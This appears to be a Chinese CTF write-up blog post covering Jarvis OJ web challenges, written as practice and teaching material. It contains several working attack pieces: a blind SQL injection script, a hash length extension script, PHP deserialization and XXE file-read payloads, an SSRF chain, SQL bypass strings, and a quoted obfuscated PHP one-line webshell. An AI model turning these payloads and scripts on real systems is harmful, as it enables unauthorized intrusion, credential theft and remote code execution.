Jarvis-OJ WEB
上篇文章里说等ak了jarvisOJ上的web就写一篇题解。结果拖到现在才决定下笔。一方面是因为最近实在太忙了,另一方面jarvis web那四道题总之就是做不出来。有的可能是题目问题,还有的可能就是单纯因为我菜吧。总之先把其他题目的大致思路记录下,没有完成的挑战日后再说。
链接:https://www.jarvisoj.com/challenges
jarvis oj的题目好评。难度略高于其他平台,比较能提升水平。
未做出来的:babyxss,register,RE(因为涉及到逆向所以不会)
PORT 51
提示用port 51访问这一网站。所以想到curl。
方法:
curl --local-port 51 "http://web.jarvisoj.com:32770/"
但是发现不可行。网上查阅过题解发现别人贴的都是这种解法。后来在别的大佬的题解下看到有评论说无法访问是因为电脑本机默认51端口是关闭的。因此就算开虚拟机用curl也是无济于事。那么解决方法呢。。。。。。当然是用服务器来curl了hhh。这道题做之前我还没买VPS,后来再做时已经有VPS加持了,于是直接登录curl拿到结果。
curl.PNG
localhost
改xff头,不多说了
login
进去是密码框,没有啥提示。貌似抓包可以看hint.如下:
"select * from `admin` where password='".md5($pass,true)."'"
简单的sqlMD5绕过。这里有一个简单解ffifdyop,因为其经过md5()加密的结果是将原本的sql语句变为:
select * FROM `admin` where pass = ''or'6<trash>'
实现绕过。
神盾局的秘密
进去图片。ctrl+u查看源码发现提示showimg.php?img=c2hpZWxkLmpwZw==,显然后面base64编码。而且这是个文件包含漏洞。先包含下index.php,编码后传过去。
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
看到了熟悉的反序列化,大概心里有底了。提示传参class.class反序列化后再赋给$x。再试试包含shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
Shield类中有construct构造方法,实例化前会执行readfile(),flag又在pctf.php。那么思路非常清楚。传参为pctf.php序列化下就好。
<?php
class Shield {
public $file;
}
$a=new Shield();
$a->file="pctf.php";
echo(serialize($a));
?>
都懂得。
In A Mess
进去提示index.phps查看源码。
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
传三个参id,a,b。id传0.而a的值是由file_get_contents()读的。这是使用php://input伪协议的经典场景。所以a=php://input post传1112 is a nice lab!。而b则考虑绕过eregi(),可以使用%00截断。传%00123456
flag在管理员手里
这道题我断断续续花了好久才做出来。一开始查信息没啥收获。后来搜题解发现是源码泄露index.php~???这真的是我只是盲区了。我还专门搜了下常见的源码泄露,除了自己了解的.git .svn .swp退出等等之外还愣是没有看到有index.php~ 泄露的。。。后来自己有一次看虚拟机资料发现~是属于备份文件。学到了。
查看index.php~发现实质上是swp异常退出。用vim查看
其中关键代码如下:
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
role跟hsh之前抓包时见过了。其中role只是序列化过,很好解决。但关键在于hsh中带了盐值加md5()。想要直接爆破应该是不可能了。于是搜资料发现是hash长度扩展攻击。甚至意外发现在《白帽子讲WEB安全》中也有一章附录专门写到hash长度扩展攻击。当时看了一个小时各种资料,自己感觉收获挺大,结果现在已经忘掉了。。。
做法,工具是使用python中的hashpumpy库。这里最好用虚拟机kali做,我物理机的hashpumpy库怎么下都下不下来,最后用kali瞬间解决(当然kali pip install urllib是不行的,得下载 urllib3)
代码用了其他大佬的:
https://www.jianshu.com/p/34ab80b5c202
import requests,hashpumpy,urllib
def webre():
url = 'http://web.jarvisoj.com:32778/'
sha = '3a4727d57463f122833d9e732f94e4e0'
string0 = ';"tseug":5:s'
string1 = ';"nimda":5:s'
for i in range(15):
digest, message = hashpumpy.hashpump(sha,string0,string1,i)
payload ={'role':urllib.quote(message[::-1]), 'hsh':digest} # quote()用于把'\x00'都变成'%00' 这道题message需要反转一下
print(i,payload)
html = requests.get(url,cookies=payload).content#提交答案
if 'Welcome' in html:
print(html)
webre()
for循环是爆破盐值长度。之后做攻击看响应。注意只有盐值在前才能用hashextender.
Chopper
很好的题目。开始进去登录提示you are not admin!于是查看波源码,发现有注释admin的ip地址202.5.19.128。那么能登进去吗?不行。于是回头查看源码,发现主界面菜刀的地址是proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg.那么可以利用proxy传参这点,试试能不能到admin的ip里去。
http://web.jarvisoj.com:32782/index.php?url=http://8080av.com
出现重定向。那么确定可以传参了。这里有个难点在于,我们用admin的ip后接proxy.php也是可以访问的(即可以访问http://202.5.19.128/proxy.php)但同样不能到/admin/里去。所以考虑到信息在web.jarvisoj.com:32782/admin下可以用这里的?url再传次参。最终
http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
但是仍然没有结果?结果回头发现robots.txt中有trojan.php与trojan.php.txt的存在。查看后一个txt中发现是一段奇怪的php代码
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>
然后执行。。。报错,啥都没得到。去查wp发现,最后一步是因为php版本问题,报错时不会显示我们要的eval()信息。所以我跑到菜鸟教程的在线php执行里运行代码hhh。。。发现报错eval(@_POST[360])。证明这是个一句话木马。所以可以菜刀连接。
EasyGallery
图片马+%00截断
由于需要文件包含,那么只能用page参数进行调跳转。而这里试错时会发现服务器会在包含文件后加上.php。所以要用到%00。之后文件包含可以找到路径执行即可。这里小马用的是<script>版的马,我平时就挺喜欢用所以没有遇到别人被检测到的问题。不过现在的php已经不支持这种木马了。
Simple Injection
盲注。脚本如下:
import requests
import string
s = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation
payload={'username': '','password':123}
result=''
url='http://web.jarvisoj.com:32787/login.php'
#test1="'or/**/ascii(substr(database(),{0},1))={1}#"
#test2="'or/**/ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))={1}#"
#test3="'or/**/ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='admin'),{0},1))={1}#"
test="'or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))={1}#"
a=0
for i in range(1,50):
a=0
for chr in s:
asc=ord(chr)
payload['username']=test.format(i,asc)
response = requests.post(url, data=payload)
if len(response.text)<1192:
result+=chr
#print('database: ',result)
#print('table: ',result)
#print('column: ',result)
print('password',result)
a=1
if a==0: break
#print('database: ', result)
#print('table: ', result)
#print('column:',result)
print('password:',result)
api调用
xxe读取文件。值得一提的是2019红帽杯线上唯一一道100队以上做出的web就用了xxe(红帽杯炸裂,心酸)
payload
<!DOCTYPE [a
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">
]
>
<miracle>&xxe;</miracle>
PHPINFO
也是一道有难度的题。session上传进度+反序列化。参考了大佬wp:
https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO
上来源码
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
ini_set('session.serialize_handler', 'php')这句代码表示session序列化处理器设置为php而不是php_serialize.因此会有反序列化漏洞。
摘自大佬博客:
由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
所以就可以进行一系列命令执行。
具体内容参见大佬wp,说的很详尽了。
WEB?
贼有意思。这题开始进去输入框没啥提示。之后源码里找到app.js于是放到本地。。。足足有上千行。这里强烈建议vscode或者sublime装好调整格式的插件,不然看这种未处理的js眼睛疼。。。
考虑到输入框是进行post操作在源码里,找一波跟post操作有关的函数,最后找出个线性齐次方程组hhhhhhh。基于最近死怼数学物理方法还在数学实验周学了MATLAB,于是用MATLAB直接解方程(矩阵除以矩阵,笑死我了,这题居然是数学题hhh)
admin
robots.txt,不多说
inject
又是index.php~源码。。。sql反引号注入。sql中反引号是为了区分关键字跟普通字符的。所以有这种注入法:
`test` ` union select 1,2,3
基于test表存在的事实,后面的内容会被识别成前表的别名。所以就可以轻松绕。同时基于这个事实,我们注入时注意要 limit 1,1来保证查一条数据。
后面就是常规操作了。
babyphp
.git源码泄露。题目跟攻防世界的mfw一样的https://www.jianshu.com/p/4674c587fc92
到此为止。最近压力很大,感觉水平一直没什么提高,但又抽不出多少时间做事。想抱怨学院的安排但又心有余而力不足。只能说走一步看一步吧。